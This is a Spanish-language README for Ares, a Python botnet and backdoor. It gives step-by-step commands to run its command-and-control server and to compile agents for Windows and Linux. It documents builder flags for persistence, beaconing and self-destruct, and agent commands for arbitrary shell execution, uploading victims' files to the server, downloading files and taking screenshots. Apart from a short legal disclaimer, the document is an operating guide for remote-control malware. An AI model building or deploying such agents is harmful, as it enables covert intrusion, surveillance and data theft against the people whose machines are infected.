
Botnet y backdoor en Python
Ares es una herramienta de acceso remoto escrita en Python.
Advertencia: Utilice este software únicamente de acuerdo con la legislación vigente. El mal uso de este software puede generar problemas legales y éticos que no apoyo ni puedo asumir responsabilidad.
Ares se compone de dos programas principales:
La interfaz web se puede ejecutar en cualquier servidor que tenga Python. El agente se puede compilar a ejecutables nativos usando pyinstaller.
Instalar los requisitos de Python:
pip install -r requirements.txt
Inicializar la base de datos:
cd server
./ares.py initdb
Para compilar agentes de Windows en Linux, configurar wine (opcional):
./wine_setup.sh
Ejecutar con el servidor incorporado (depuración):
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded
O ejecutar usando gunicorn:
gunicorn ares:app -b 0.0.0.0:8080 --threads 20
El servidor ahora debería ser accesible en http://localhost:8080
Ejecutar el agente de Python (actualizar config.py según sea necesario):
cd agent
./agent.py
Construir un nuevo agente a un binario independiente:
./builder.py -p Linux --server http://localhost:8080 -o agent
./agent
Para ver la lista de opciones compatibles, ejecute ./builder.py -h
./agent/builder.py -h
usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT
[--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]
[--max_failed_connections MAX_FAILED_CONNECTIONS]
[--persistent]
Builds an Ares agent.
optional arguments:
-h, --help show this help message and exit
-p PLATFORM, --platform PLATFORM
Target platform (Windows, Linux).
--server SERVER Address of the CnC server (e.g http://localhost:8080).
-o OUTPUT, --output OUTPUT
Output file name.
--hello-interval HELLO_INTERVAL
Delay (in seconds) between each request to the CnC.
--idle_time IDLE_TIME
Inactivity time (in seconds) after which to go idle.
In idle mode, the agent pulls commands less often
(every <hello_interval> seconds).
--max_failed_connections MAX_FAILED_CONNECTIONS
The agent will self destruct if no contact with the
CnC can be made <max_failed_connections> times in a
row.
--persistent Automatically install the agent on first run.
<any shell command>
Executes the command in a shell and return its output.
upload <local_file>
Uploads <local_file> to server.
download <url> <destination>
Downloads a file through HTTP(S).
zip <archive_name> <folder>
Creates a zip archive of the folder.
screenshot
Takes a screenshot.
python <command|file>
Runs a Python command or local file.
persist
Installs the agent.
clean
Uninstalls the agent.
exit
Kills the agent.
help
This help.